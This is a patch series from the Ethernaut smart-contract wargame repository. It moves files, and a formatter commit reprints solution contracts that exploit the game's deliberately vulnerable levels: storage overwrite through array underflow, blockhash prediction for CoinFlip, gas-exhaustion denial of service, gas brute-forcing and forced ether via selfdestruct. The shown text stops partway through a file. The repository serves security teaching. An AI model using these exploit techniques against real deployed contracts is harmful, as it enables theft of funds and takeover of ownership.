contracts_hardhat/contracts/levels/base/Level-06.sol rename to contracts/src/levels/base/Level-06.sol diff --git a/contracts_hardhat/contracts/levels/base/Level-08.sol b/contracts/src/levels/base/Level-08.sol similarity index 100% rename from contracts_hardhat/contracts/levels/base/Level-08.sol rename to contracts/src/levels/base/Level-08.sol diff --git a/contracts_hardhat/contracts/levels/base/Level.sol b/contracts/src/levels/base/Level.sol similarity index 100% rename from contracts_hardhat/contracts/levels/base/Level.sol rename to contracts/src/levels/base/Level.sol diff --git a/contracts_hardhat/contracts/metrics/Statistics.sol b/contracts/src/metrics/Statistics.sol similarity index 100% rename from contracts_hardhat/contracts/metrics/Statistics.sol rename to contracts/src/metrics/Statistics.sol diff --git a/contracts_hardhat/contracts/metrics/StatisticsLevelSuperseder.sol b/contracts/src/metrics/StatisticsLevelSuperseder.sol similarity index 100% rename from contracts_hardhat/contracts/metrics/StatisticsLevelSuperseder.sol rename to contracts/src/metrics/StatisticsLevelSuperseder.sol diff --git a/contracts_hardhat/contracts/proxy/ProxyAdmin.sol b/contracts/src/proxy/ProxyAdmin.sol similarity index 100% rename from contracts_hardhat/contracts/proxy/ProxyAdmin.sol rename to contracts/src/proxy/ProxyAdmin.sol diff --git a/contracts_hardhat/contracts/proxy/ProxyStats.sol b/contracts/src/proxy/ProxyStats.sol similarity index 100% rename from contracts_hardhat/contracts/proxy/ProxyStats.sol rename to contracts/src/proxy/ProxyStats.sol diff --git a/contracts_hardhat/test/EthernautTests.js b/contracts/test/EthernautTests.js similarity index 100% rename from contracts_hardhat/test/EthernautTests.js rename to contracts/test/EthernautTests.js diff --git a/contracts_hardhat/test/levels/AlienCodex.test.js b/contracts/test/levels/AlienCodex.test.js similarity index 100% rename from contracts_hardhat/test/levels/AlienCodex.test.js rename to contracts/test/levels/AlienCodex.test.js diff --git a/contracts_hardhat/test/levels/CoinFlip.test.js b/contracts/test/levels/CoinFlip.test.js similarity index 100% rename from contracts_hardhat/test/levels/CoinFlip.test.js rename to contracts/test/levels/CoinFlip.test.js diff --git a/contracts_hardhat/test/levels/Delegation.test.js b/contracts/test/levels/Delegation.test.js similarity index 100% rename from contracts_hardhat/test/levels/Delegation.test.js rename to contracts/test/levels/Delegation.test.js diff --git a/contracts_hardhat/test/levels/Denial.test.js b/contracts/test/levels/Denial.test.js similarity index 100% rename from contracts_hardhat/test/levels/Denial.test.js rename to contracts/test/levels/Denial.test.js diff --git a/contracts_hardhat/test/levels/Dex.test.js b/contracts/test/levels/Dex.test.js similarity index 100% rename from contracts_hardhat/test/levels/Dex.test.js rename to contracts/test/levels/Dex.test.js diff --git a/contracts_hardhat/test/levels/DexTwo.test.js b/contracts/test/levels/DexTwo.test.js similarity index 100% rename from contracts_hardhat/test/levels/DexTwo.test.js rename to contracts/test/levels/DexTwo.test.js diff --git a/contracts_hardhat/test/levels/DoubleEntryPoint.test.js b/contracts/test/levels/DoubleEntryPoint.test.js similarity index 100% rename from contracts_hardhat/test/levels/DoubleEntryPoint.test.js rename to contracts/test/levels/DoubleEntryPoint.test.js diff --git a/contracts_hardhat/test/levels/Elevator.test.js b/contracts/test/levels/Elevator.test.js similarity index 100% rename from contracts_hardhat/test/levels/Elevator.test.js rename to contracts/test/levels/Elevator.test.js diff --git a/contracts_hardhat/test/levels/Fallback.test.js b/contracts/test/levels/Fallback.test.js similarity index 100% rename from contracts_hardhat/test/levels/Fallback.test.js rename to contracts/test/levels/Fallback.test.js diff --git a/contracts_hardhat/test/levels/Fallout.test.js b/contracts/test/levels/Fallout.test.js similarity index 100% rename from contracts_hardhat/test/levels/Fallout.test.js rename to contracts/test/levels/Fallout.test.js diff --git a/contracts_hardhat/test/levels/Force.test.js b/contracts/test/levels/Force.test.js similarity index 100% rename from contracts_hardhat/test/levels/Force.test.js rename to contracts/test/levels/Force.test.js diff --git a/contracts_hardhat/test/levels/Gatekeeper.test.js b/contracts/test/levels/Gatekeeper.test.js similarity index 100% rename from contracts_hardhat/test/levels/Gatekeeper.test.js rename to contracts/test/levels/Gatekeeper.test.js diff --git a/contracts_hardhat/test/levels/GatekeeperThree.test.js b/contracts/test/levels/GatekeeperThree.test.js similarity index 100% rename from contracts_hardhat/test/levels/GatekeeperThree.test.js rename to contracts/test/levels/GatekeeperThree.test.js diff --git a/contracts_hardhat/test/levels/GoodSamaritan.test.js b/contracts/test/levels/GoodSamaritan.test.js similarity index 100% rename from contracts_hardhat/test/levels/GoodSamaritan.test.js rename to contracts/test/levels/GoodSamaritan.test.js diff --git a/contracts_hardhat/test/levels/Instance.test.js b/contracts/test/levels/Instance.test.js similarity index 100% rename from contracts_hardhat/test/levels/Instance.test.js rename to contracts/test/levels/Instance.test.js diff --git a/contracts_hardhat/test/levels/King.test.js b/contracts/test/levels/King.test.js similarity index 100% rename from contracts_hardhat/test/levels/King.test.js rename to contracts/test/levels/King.test.js diff --git a/contracts_hardhat/test/levels/MagicNum.test.js b/contracts/test/levels/MagicNum.test.js similarity index 100% rename from contracts_hardhat/test/levels/MagicNum.test.js rename to contracts/test/levels/MagicNum.test.js diff --git a/contracts_hardhat/test/levels/Motorbike.test.js b/contracts/test/levels/Motorbike.test.js similarity index 100% rename from contracts_hardhat/test/levels/Motorbike.test.js rename to contracts/test/levels/Motorbike.test.js diff --git a/contracts_hardhat/test/levels/NaughtCoin.test.js b/contracts/test/levels/NaughtCoin.test.js similarity index 100% rename from contracts_hardhat/test/levels/NaughtCoin.test.js rename to contracts/test/levels/NaughtCoin.test.js diff --git a/contracts_hardhat/test/levels/Preservation.test.js b/contracts/test/levels/Preservation.test.js similarity index 100% rename from contracts_hardhat/test/levels/Preservation.test.js rename to contracts/test/levels/Preservation.test.js diff --git a/contracts_hardhat/test/levels/Privacy.test.js b/contracts/test/levels/Privacy.test.js similarity index 100% rename from contracts_hardhat/test/levels/Privacy.test.js rename to contracts/test/levels/Privacy.test.js diff --git a/contracts_hardhat/test/levels/PuzzleWallet.test.js b/contracts/test/levels/PuzzleWallet.test.js similarity index 100% rename from contracts_hardhat/test/levels/PuzzleWallet.test.js rename to contracts/test/levels/PuzzleWallet.test.js diff --git a/contracts_hardhat/test/levels/Recovery.test.js b/contracts/test/levels/Recovery.test.js similarity index 100% rename from contracts_hardhat/test/levels/Recovery.test.js rename to contracts/test/levels/Recovery.test.js diff --git a/contracts_hardhat/test/levels/Reentrance.test.js b/contracts/test/levels/Reentrance.test.js similarity index 100% rename from contracts_hardhat/test/levels/Reentrance.test.js rename to contracts/test/levels/Reentrance.test.js diff --git a/contracts_hardhat/test/levels/Shop.test.js b/contracts/test/levels/Shop.test.js similarity index 100% rename from contracts_hardhat/test/levels/Shop.test.js rename to contracts/test/levels/Shop.test.js diff --git a/contracts_hardhat/test/levels/Switch.test.js b/contracts/test/levels/Switch.test.js similarity index 100% rename from contracts_hardhat/test/levels/Switch.test.js rename to contracts/test/levels/Switch.test.js diff --git a/contracts_hardhat/test/levels/Telephone.test.js b/contracts/test/levels/Telephone.test.js similarity index 100% rename from contracts_hardhat/test/levels/Telephone.test.js rename to contracts/test/levels/Telephone.test.js diff --git a/contracts_hardhat/test/levels/Token.test.js b/contracts/test/levels/Token.test.js similarity index 100% rename from contracts_hardhat/test/levels/Token.test.js rename to contracts/test/levels/Token.test.js diff --git a/contracts_hardhat/test/levels/Vault.test.js b/contracts/test/levels/Vault.test.js similarity index 100% rename from contracts_hardhat/test/levels/Vault.test.js rename to contracts/test/levels/Vault.test.js diff --git a/contracts_hardhat/test/metrics/leaderboard.test.js b/contracts/test/metrics/leaderboard.test.js similarity index 100% rename from contracts_hardhat/test/metrics/leaderboard.test.js rename to contracts/test/metrics/leaderboard.test.js diff --git a/contracts_hardhat/test/metrics/level.test.js b/contracts/test/metrics/level.test.js similarity index 100% rename from contracts_hardhat/test/metrics/level.test.js rename to contracts/test/metrics/level.test.js diff --git a/contracts_hardhat/test/metrics/player.test.js b/contracts/test/metrics/player.test.js similarity index 100% rename from contracts_hardhat/test/metrics/player.test.js rename to contracts/test/metrics/player.test.js diff --git a/contracts_hardhat/test/utils/TestUtils.js b/contracts/test/utils/TestUtils.js similarity index 100% rename from contracts_hardhat/test/utils/TestUtils.js rename to contracts/test/utils/TestUtils.js From 067986b525948a868b1d6e8d9fbac45beda021f5 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 16:49:56 -0500 Subject: [PATCH 03/35] =?UTF-8?q?=F0=9F=8E=A8=20Foundry=20formatter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitmodules | 3 + .../lib/openzeppelin-contracts-upgradeable | 1 + contracts/remappings.txt | 4 + contracts/src/Ethernaut.sol | 57 +--- contracts/src/attacks/AlienCodexAttack.sol | 63 +++-- contracts/src/attacks/CoinFlipAttack.sol | 22 +- contracts/src/attacks/DenialAttack.sol | 10 +- contracts/src/attacks/DetectionBot.sol | 21 +- contracts/src/attacks/DexTwoAttack.sol | 6 +- contracts/src/attacks/ElevatorAttack.sol | 22 +- contracts/src/attacks/ForceAttack.sol | 11 +- contracts/src/attacks/GatekeeperOneAttack.sol | 34 ++- .../src/attacks/GatekeeperThreeAttack.sol | 10 +- contracts/src/attacks/GatekeeperTwoAttack.sol | 17 +- contracts/src/attacks/GoodSamaritanAttack.sol | 22 +- contracts/src/attacks/KingAttack.sol | 11 +- contracts/src/attacks/MagicNumBadSolver.sol | 7 +- contracts/src/attacks/MagicNumSolver.sol | 33 ++- contracts/src/attacks/Manufactured.sol | 6 +- contracts/src/attacks/MotorbikeAttack.sol | 20 +- contracts/src/attacks/NaughtCoinAttack.sol | 13 +- contracts/src/attacks/PreservationAttack.sol | 17 +- contracts/src/attacks/ReentranceAttack.sol | 31 ++- contracts/src/attacks/ShopAttack.sol | 15 +- contracts/src/attacks/TelephoneAttack.sol | 13 +- contracts/src/attacks/VaultAttack.sol | 10 +- contracts/src/factory/LocalFactory.sol | 7 +- contracts/src/helpers/Ownable-05.sol | 4 +- contracts/src/helpers/UpgradeableProxy-08.sol | 12 +- contracts/src/levels/AlienCodex.sol | 39 ++- contracts/src/levels/AlienCodexFactory.sol | 23 +- contracts/src/levels/CoinFlip.sol | 43 ++- contracts/src/levels/CoinFlipFactory.sol | 21 +- contracts/src/levels/Delegation.sol | 38 ++- contracts/src/levels/DelegationFactory.sol | 33 ++- contracts/src/levels/Denial.sol | 14 +- contracts/src/levels/DenialFactory.sol | 47 ++-- contracts/src/levels/Dex.sol | 88 +++--- contracts/src/levels/DexFactory.sol | 62 +++-- contracts/src/levels/DexTwo.sol | 86 +++--- contracts/src/levels/DexTwoFactory.sol | 50 ++-- contracts/src/levels/DoubleEntryPoint.sol | 52 ++-- .../src/levels/DoubleEntryPointFactory.sol | 95 ++++--- contracts/src/levels/Dummy.sol | 9 +- contracts/src/levels/DummyFactory.sol | 23 +- contracts/src/levels/Elevator.sol | 41 ++- contracts/src/levels/ElevatorFactory.sol | 24 +- contracts/src/levels/Fallback.sol | 52 ++-- contracts/src/levels/FallbackFactory.sol | 23 +- contracts/src/levels/Fallout.sol | 70 +++-- contracts/src/levels/FalloutFactory.sol | 23 +- contracts/src/levels/ForceFactory.sol | 23 +- contracts/src/levels/GatekeeperOne.sol | 39 ++- contracts/src/levels/GatekeeperOneFactory.sol | 23 +- contracts/src/levels/GatekeeperThree.sol | 108 ++++---- .../src/levels/GatekeeperThreeFactory.sol | 22 +- contracts/src/levels/GatekeeperTwo.sol | 41 +-- contracts/src/levels/GatekeeperTwoFactory.sol | 23 +- contracts/src/levels/GoodSamaritan.sol | 14 +- contracts/src/levels/GoodSamaritanFactory.sol | 23 +- contracts/src/levels/Instance.sol | 67 +++-- contracts/src/levels/InstanceFactory.sol | 23 +- contracts/src/levels/King.sol | 35 ++- contracts/src/levels/KingFactory.sol | 40 ++- contracts/src/levels/MagicNum.sol | 15 +- contracts/src/levels/MagicNumFactory.sol | 48 ++-- contracts/src/levels/Motorbike.sol | 21 +- contracts/src/levels/MotorbikeFactory.sol | 63 ++--- contracts/src/levels/NaughtCoin.sol | 58 ++-- contracts/src/levels/NaughtCoinFactory.sol | 19 +- contracts/src/levels/Preservation.sol | 52 ++-- contracts/src/levels/PreservationFactory.sol | 33 ++- contracts/src/levels/Privacy.sol | 31 ++- contracts/src/levels/PrivacyFactory.sol | 29 +- contracts/src/levels/PuzzleWallet.sol | 24 +- contracts/src/levels/PuzzleWalletFactory.sol | 39 ++- contracts/src/levels/Recovery.sol | 61 ++--- contracts/src/levels/RecoveryFactory.sol | 49 ++-- contracts/src/levels/RecoverySimpleToken.sol | 46 ++-- contracts/src/levels/Reentrance.sol | 38 +-- contracts/src/levels/ReentranceFactory.sol | 35 ++- contracts/src/levels/Shop.sol | 40 +-- contracts/src/levels/ShopFactory.sol | 24 +- contracts/src/levels/Switch.sol | 76 +++--- contracts/src/levels/SwitchFactory.sol | 14 +- contracts/src/levels/Telephone.sol | 17 +- contracts/src/levels/TelephoneFactory.sol | 23 +- contracts/src/levels/Token.sol | 29 +- contracts/src/levels/TokenFactory.sol | 27 +- contracts/src/levels/Vault.sol | 20 +- contracts/src/levels/VaultFactory.sol | 25 +- contracts/src/levels/base/Level-05.sol | 6 +- contracts/src/levels/base/Level-06.sol | 6 +- contracts/src/levels/base/Level-08.sol | 6 +- contracts/src/levels/base/Level.sol | 6 +- contracts/src/metrics/Statistics.sol | 203 +++++++------- .../src/metrics/StatisticsLevelSuperseder.sol | 255 +++++++++--------- contracts/src/proxy/ProxyAdmin.sol | 48 +--- contracts/src/proxy/ProxyStats.sol | 15 +- contracts/test/Counter.t.sol | 24 -- 100 files changed, 1635 insertions(+), 1829 deletions(-) create mode 160000 contracts/lib/openzeppelin-contracts-upgradeable create mode 100644 contracts/remappings.txt delete mode 100644 contracts/test/Counter.t.sol diff --git a/.gitmodules b/.gitmodules index fee8b62c3..5a81e4ffa 100644 --- a/.gitmodules +++ b/.gitmodules @@ -7,3 +7,6 @@ [submodule "contracts/lib/openzeppelin-contracts-08"] path = contracts/lib/openzeppelin-contracts-08 url = https://github.com/openzeppelin/openzeppelin-contracts +[submodule "contracts/lib/openzeppelin-contracts-upgradeable"] + path = contracts/lib/openzeppelin-contracts-upgradeable + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable diff --git a/contracts/lib/openzeppelin-contracts-upgradeable b/contracts/lib/openzeppelin-contracts-upgradeable new file mode 160000 index 000000000..2d081f24c --- /dev/null +++ b/contracts/lib/openzeppelin-contracts-upgradeable @@ -0,0 +1 @@ +Subproject commit 2d081f24cac1a867f6f73d512f2022e1fa987854 diff --git a/contracts/remappings.txt b/contracts/remappings.txt new file mode 100644 index 000000000..87b2a4442 --- /dev/null +++ b/contracts/remappings.txt @@ -0,0 +1,4 @@ +forge-std/=lib/forge-std/src/ +openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/ +openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/ +openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/ \ No newline at end of file diff --git a/contracts/src/Ethernaut.sol b/contracts/src/Ethernaut.sol index 174009312..4bd8d51e0 100644 --- a/contracts/src/Ethernaut.sol +++ b/contracts/src/Ethernaut.sol @@ -8,23 +8,11 @@ import "openzeppelin-contracts-08/access/Ownable.sol"; interface IStatistics { function saveNewLevel(address level) external; - function createNewInstance( - address instance, - address level, - address player - ) external; - - function submitFailure( - address instance, - address level, - address player - ) external; - - function submitSuccess( - address instance, - address level, - address player - ) external; + function createNewInstance(address instance, address level, address player) external; + + function submitFailure(address instance, address level, address player) external; + + function submitSuccess(address instance, address level, address player) external; } contract Ethernaut is Ownable { @@ -58,16 +46,8 @@ contract Ethernaut is Ownable { mapping(address => EmittedInstanceData) public emittedInstances; - event LevelInstanceCreatedLog( - address indexed player, - address indexed instance, - address indexed level - ); - event LevelCompletedLog( - address indexed player, - address indexed instance, - address indexed level - ); + event LevelInstanceCreatedLog(address indexed player, address indexed instance, address indexed level); + event LevelCompletedLog(address indexed player, address indexed instance, address indexed level); function createLevelInstance(Level _level) public payable { // Ensure level is registered. @@ -77,11 +57,7 @@ contract Ethernaut is Ownable { address instance = _level.createInstance{value: msg.value}(msg.sender); // Store emitted instance relationship with player and level. - emittedInstances[instance] = EmittedInstanceData( - msg.sender, - _level, - false - ); + emittedInstances[instance] = EmittedInstanceData(msg.sender, _level, false); statistics.createNewInstance(instance, address(_level), msg.sender); @@ -92,10 +68,7 @@ contract Ethernaut is Ownable { function submitLevelInstance(address payable _instance) public { // Get player and level. EmittedInstanceData storage data = emittedInstances[_instance]; - require( - data.player == msg.sender, - "This instance doesn't belong to the current user" - ); // instance was emitted for this player + require(data.player == msg.sender, "This instance doesn't belong to the current user"); // instance was emitted for this player require(data.completed == false, "Level has been completed already"); // not already submitted // Have the level check the instance. @@ -103,19 +76,11 @@ contract Ethernaut is Ownable { // Register instance as completed. data.completed = true; - statistics.submitSuccess( - _instance, - address(data.level), - msg.sender - ); + statistics.submitSuccess(_instance, address(data.level), msg.sender); // Notify success via logs. emit LevelCompletedLog(msg.sender, _instance, address(data.level)); } else { - statistics.submitFailure( - _instance, - address(data.level), - msg.sender - ); + statistics.submitFailure(_instance, address(data.level), msg.sender); } } } diff --git a/contracts/src/attacks/AlienCodexAttack.sol b/contracts/src/attacks/AlienCodexAttack.sol index 7e26a12e2..ea9da1a9f 100644 --- a/contracts/src/attacks/AlienCodexAttack.sol +++ b/contracts/src/attacks/AlienCodexAttack.sol @@ -4,36 +4,35 @@ pragma solidity ^0.5.0; import "../levels/AlienCodex.sol"; contract AlienCodexAttack { - AlienCodex public target; - - constructor(address _target) public { - target = AlienCodex(_target); - } - - function attack(bytes32 _newOwner) public{ - // Make contact - target.makeContact(); - - // Init array - target.record(bytes32(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)); - - // Underflow array length - target.retract(); - target.retract(); - - // Compute Owner's slot offset referenced to array index 0 slot - // Owner is in slot 0000000000000000000000000000000000000000000000000000000000000000 - // Array is in slot 0000000000000000000000000000000000000000000000000000000000000001 - // Array[0] is in slot H(0x0000000000000000000000000000000000000000000000000000000000000001) = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 - // To write Owner's slot we have to write array[offset], - // where offset = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 0x0000000000000000000000000000000000000000000000000000000000000001 - - uint256 offset = - uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) - - uint256(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6) - + uint256(0x0000000000000000000000000000000000000000000000000000000000000001); - - // change ownership - target.revise(offset,_newOwner); - } + AlienCodex public target; + + constructor(address _target) public { + target = AlienCodex(_target); + } + + function attack(bytes32 _newOwner) public { + // Make contact + target.makeContact(); + + // Init array + target.record(bytes32(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)); + + // Underflow array length + target.retract(); + target.retract(); + + // Compute Owner's slot offset referenced to array index 0 slot + // Owner is in slot 0000000000000000000000000000000000000000000000000000000000000000 + // Array is in slot 0000000000000000000000000000000000000000000000000000000000000001 + // Array[0] is in slot H(0x0000000000000000000000000000000000000000000000000000000000000001) = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + // To write Owner's slot we have to write array[offset], + // where offset = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 0x0000000000000000000000000000000000000000000000000000000000000001 + + uint256 offset = uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) + - uint256(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6) + + uint256(0x0000000000000000000000000000000000000000000000000000000000000001); + + // change ownership + target.revise(offset, _newOwner); + } } diff --git a/contracts/src/attacks/CoinFlipAttack.sol b/contracts/src/attacks/CoinFlipAttack.sol index f89724f3f..f124a128d 100644 --- a/contracts/src/attacks/CoinFlipAttack.sol +++ b/contracts/src/attacks/CoinFlipAttack.sol @@ -2,17 +2,17 @@ pragma solidity ^0.8.0; -import '../levels/CoinFlip.sol'; +import "../levels/CoinFlip.sol"; contract CoinFlipAttack { - uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; + uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; - function attack(address _victim) public returns (bool) { - CoinFlip coinflip = CoinFlip(_victim); - uint256 blockValue = uint256(blockhash(block.number - 1)); - uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); - bool side = coinFlip == 1 ? true : false; - coinflip.flip(side); - return side; - } -} \ No newline at end of file + function attack(address _victim) public returns (bool) { + CoinFlip coinflip = CoinFlip(_victim); + uint256 blockValue = uint256(blockhash(block.number - 1)); + uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); + bool side = coinFlip == 1 ? true : false; + coinflip.flip(side); + return side; + } +} diff --git a/contracts/src/attacks/DenialAttack.sol b/contracts/src/attacks/DenialAttack.sol index d68f13c1f..2d0ffcfa2 100644 --- a/contracts/src/attacks/DenialAttack.sol +++ b/contracts/src/attacks/DenialAttack.sol @@ -3,10 +3,8 @@ pragma solidity ^0.8.0; contract DenialAttack { - - fallback() external payable { - // consume all the gas - while(true) {} - } - + fallback() external payable { + // consume all the gas + while (true) {} + } } diff --git a/contracts/src/attacks/DetectionBot.sol b/contracts/src/attacks/DetectionBot.sol index ea0e838da..56ec907b5 100644 --- a/contracts/src/attacks/DetectionBot.sol +++ b/contracts/src/attacks/DetectionBot.sol @@ -12,17 +12,16 @@ interface IForta { } contract DetectionBot is IDetectionBot { + IForta public fortaContract; - IForta public fortaContract; + constructor(address forta) { + fortaContract = IForta(forta); + } - constructor(address forta) { - fortaContract = IForta(forta); - } - - function handleTransaction(address user, bytes calldata msgData) public override { - // Only the Forta contract can call this method - require(msg.sender == address(fortaContract), "Unauthorized"); - fortaContract.raiseAlert(user); - msgData; - } + function handleTransaction(address user, bytes calldata msgData) public override { + // Only the Forta contract can call this method + require(msg.sender == address(fortaContract), "Unauthorized"); + fortaContract.raiseAlert(user); + msgData; + } } diff --git a/contracts/src/attacks/DexTwoAttack.sol b/contracts/src/attacks/DexTwoAttack.sol index ddb34a172..083d79d1b 100644 --- a/contracts/src/attacks/DexTwoAttack.sol +++ b/contracts/src/attacks/DexTwoAttack.sol @@ -6,11 +6,7 @@ contract DexTwoAttackToken { return 1; } - function transferFrom( - address, - address, - uint256 - ) external pure returns (bool) { + function transferFrom(address, address, uint256) external pure returns (bool) { return true; } } diff --git a/contracts/src/attacks/ElevatorAttack.sol b/contracts/src/attacks/ElevatorAttack.sol index cce3c0f17..27e099ede 100644 --- a/contracts/src/attacks/ElevatorAttack.sol +++ b/contracts/src/attacks/ElevatorAttack.sol @@ -2,18 +2,18 @@ pragma solidity ^0.8.0; -import '../levels/Elevator.sol'; +import "../levels/Elevator.sol"; contract ElevatorAttack { - bool public isLast = true; - - function isLastFloor(uint) public returns (bool) { - isLast = ! isLast; - return isLast; - } + bool public isLast = true; - function attack(address _victim) public { - Elevator elevator = Elevator(_victim); - elevator.goTo(10); - } + function isLastFloor(uint256) public returns (bool) { + isLast = !isLast; + return isLast; + } + + function attack(address _victim) public { + Elevator elevator = Elevator(_victim); + elevator.goTo(10); + } } diff --git a/contracts/src/attacks/ForceAttack.sol b/contracts/src/attacks/ForceAttack.sol index 51d12b8f9..9691a1050 100644 --- a/contracts/src/attacks/ForceAttack.sol +++ b/contracts/src/attacks/ForceAttack.sol @@ -3,11 +3,10 @@ pragma solidity ^0.8.0; contract ForceAttack { + constructor() payable {} + receive() external payable {} - constructor() payable {} - receive() external payable {} - - function attack(address payable target) public { - selfdestruct(target); - } + function attack(address payable target) public { + selfdestruct(target); + } } diff --git a/contracts/src/attacks/GatekeeperOneAttack.sol b/contracts/src/attacks/GatekeeperOneAttack.sol index dfe1551d7..31fa1a87b 100644 --- a/contracts/src/attacks/GatekeeperOneAttack.sol +++ b/contracts/src/attacks/GatekeeperOneAttack.sol @@ -3,25 +3,21 @@ pragma solidity ^0.8.0; contract GatekeeperOneAttack { + constructor(address GatekeeperOneContractAddress) { + bytes8 key = bytes8(uint64(uint16(uint160(tx.origin))) + 2 ** 32); - constructor(address GatekeeperOneContractAddress) { - bytes8 key = bytes8(uint64(uint16(uint160(tx.origin))) + 2 ** 32); - - // NOTE: the proper gas offset to use will vary depending on the compiler - // version and optimization settings used to deploy the factory contract. - // To migitage, brute-force a range of possible values of gas to forward. - // Using call (vs. an abstract interface) prevents reverts from propagating. - bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"), - key - ); + // NOTE: the proper gas offset to use will vary depending on the compiler + // version and optimization settings used to deploy the factory contract. + // To migitage, brute-force a range of possible values of gas to forward. + // Using call (vs. an abstract interface) prevents reverts from propagating. + bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"), key); - // gas offset usually comes in around 210, give a buffer of 60 on each side - for (uint256 i = 0; i < 120; i++) { - (bool result, ) = address(GatekeeperOneContractAddress).call{gas: i + 150 + 8191 * 3}(encodedParams); - if(result) - { - break; - } + // gas offset usually comes in around 210, give a buffer of 60 on each side + for (uint256 i = 0; i < 120; i++) { + (bool result,) = address(GatekeeperOneContractAddress).call{gas: i + 150 + 8191 * 3}(encodedParams); + if (result) { + break; + } + } } - } -} \ No newline at end of file +} diff --git a/contracts/src/attacks/GatekeeperThreeAttack.sol b/contracts/src/attacks/GatekeeperThreeAttack.sol index 5632163c0..0c82ebfc4 100644 --- a/contracts/src/attacks/GatekeeperThreeAttack.sol +++ b/contracts/src/attacks/GatekeeperThreeAttack.sol @@ -1,15 +1,15 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import '../levels/GatekeeperThree.sol'; +import "../levels/GatekeeperThree.sol"; contract GatekeeperThreeAttack { GatekeeperThree public gatekeeperThree; - constructor (address payable _gatekeeperThree) payable { + constructor(address payable _gatekeeperThree) payable { gatekeeperThree = GatekeeperThree(_gatekeeperThree); } - + function attack() public { // Take ownership gatekeeperThree.construct0r(); @@ -18,7 +18,7 @@ contract GatekeeperThreeAttack { // Set allow_entrance = true gatekeeperThree.getAllowance(block.timestamp); // Enter - payable(address(gatekeeperThree)).transfer(0.0011 ether); + payable(address(gatekeeperThree)).transfer(0.0011 ether); gatekeeperThree.enter(); } -} \ No newline at end of file +} diff --git a/contracts/src/attacks/GatekeeperTwoAttack.sol b/contracts/src/attacks/GatekeeperTwoAttack.sol index fefe89b37..0bd465df3 100644 --- a/contracts/src/attacks/GatekeeperTwoAttack.sol +++ b/contracts/src/attacks/GatekeeperTwoAttack.sol @@ -3,16 +3,15 @@ pragma solidity ^0.8.0; interface GatekeeperTwoInterface { - function enter(bytes8 _gateKey) external returns (bool); + function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwoAttack { + GatekeeperTwoInterface gatekeeper; - GatekeeperTwoInterface gatekeeper; - - constructor(address GatekeeperTwoContractAddress) { - gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress); - bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); - gatekeeper.enter{gas:50000}(key); - } -} \ No newline at end of file + constructor(address GatekeeperTwoContractAddress) { + gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress); + bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); + gatekeeper.enter{gas: 50000}(key); + } +} diff --git a/contracts/src/attacks/GoodSamaritanAttack.sol b/contracts/src/attacks/GoodSamaritanAttack.sol index 4cd087389..c5fd3602a 100644 --- a/contracts/src/attacks/GoodSamaritanAttack.sol +++ b/contracts/src/attacks/GoodSamaritanAttack.sol @@ -7,19 +7,19 @@ import "../levels/GoodSamaritan.sol"; error NotEnoughBalance(); contract GoodSamaritanAttack { - address private immutable _goodSamaritan; + address private immutable _goodSamaritan; - constructor(address goodSamaritan_) { - _goodSamaritan = goodSamaritan_; - } + constructor(address goodSamaritan_) { + _goodSamaritan = goodSamaritan_; + } - function attack() external { - GoodSamaritan(_goodSamaritan).requestDonation(); - } + function attack() external { + GoodSamaritan(_goodSamaritan).requestDonation(); + } - function notify(uint256 amount_) external pure { - if(amount_ <= 10) { - revert NotEnoughBalance(); + function notify(uint256 amount_) external pure { + if (amount_ <= 10) { + revert NotEnoughBalance(); + } } - } } diff --git a/contracts/src/attacks/KingAttack.sol b/contracts/src/attacks/KingAttack.sol index 029fb8f54..bfabeefeb 100644 --- a/contracts/src/attacks/KingAttack.sol +++ b/contracts/src/attacks/KingAttack.sol @@ -3,11 +3,10 @@ pragma solidity ^0.8.0; contract KingAttack { + function doYourThing(address _target) public payable { + (bool result,) = _target.call{value: msg.value}(""); + if (!result) revert(); + } - function doYourThing(address _target) public payable { - (bool result,) = _target.call{value:msg.value}(""); - if(!result) revert(); - } - - // OMG NO PAYABLE FALLBACK!! + // OMG NO PAYABLE FALLBACK!! } diff --git a/contracts/src/attacks/MagicNumBadSolver.sol b/contracts/src/attacks/MagicNumBadSolver.sol index f147fef87..d3b4ab3a9 100644 --- a/contracts/src/attacks/MagicNumBadSolver.sol +++ b/contracts/src/attacks/MagicNumBadSolver.sol @@ -3,8 +3,7 @@ pragma solidity ^0.8.0; contract MagicNumBadSolver { - - function whatIsTheMeaningOfLife() 